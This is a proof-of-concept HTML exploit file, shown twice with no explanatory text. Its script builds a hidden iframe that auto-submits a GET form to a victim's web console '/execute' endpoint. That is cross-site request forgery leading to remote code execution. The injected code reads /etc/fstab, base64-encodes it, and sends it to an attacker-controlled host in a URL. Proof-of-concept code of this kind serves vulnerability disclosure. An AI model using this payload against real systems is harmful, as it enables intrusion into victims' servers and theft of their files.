berdario/poc.html

## poc.html
<html>
<body>
<script>
    consoleUrl = 'https://victim.example.com/path/to/console'
    attackerHost = 'http://localhost:7979/'
    code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`

    code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument

    function newFrame(content){
        let frame = document.createElement('iframe')
        frame.srcdoc = content
        frame.style = 'visibility:hidden'
        document.body.appendChild(frame)
    }

    rce = `
<html>
<body onload="document.getElementById('do_submit').click()">
<form id="f1" method="GET" action="${consoleUrl}/execute">
<input name="autoImportDomains" value="true">
<input name="code" value="${code}">
<input type="submit" id="do_submit">
</form>
</body>
</html>`

    newFrame(rce)
</script>
</body>
</html>
	<html>
	<body>
	<script>
	consoleUrl = 'https://victim.example.com/path/to/console'
	attackerHost = 'http://localhost:7979/'
	code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`

	code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument

	function newFrame(content){
	let frame = document.createElement('iframe')
	frame.srcdoc = content
	frame.style = 'visibility:hidden'
	document.body.appendChild(frame)
	}

	rce = `
	<html>
	<body onload="document.getElementById('do_submit').click()">
	<form id="f1" method="GET" action="${consoleUrl}/execute">
	<input name="autoImportDomains" value="true">
	<input name="code" value="${code}">
	<input type="submit" id="do_submit">
	</form>
	</body>
	</html>`

	newFrame(rce)
	</script>
	</body>
	</html>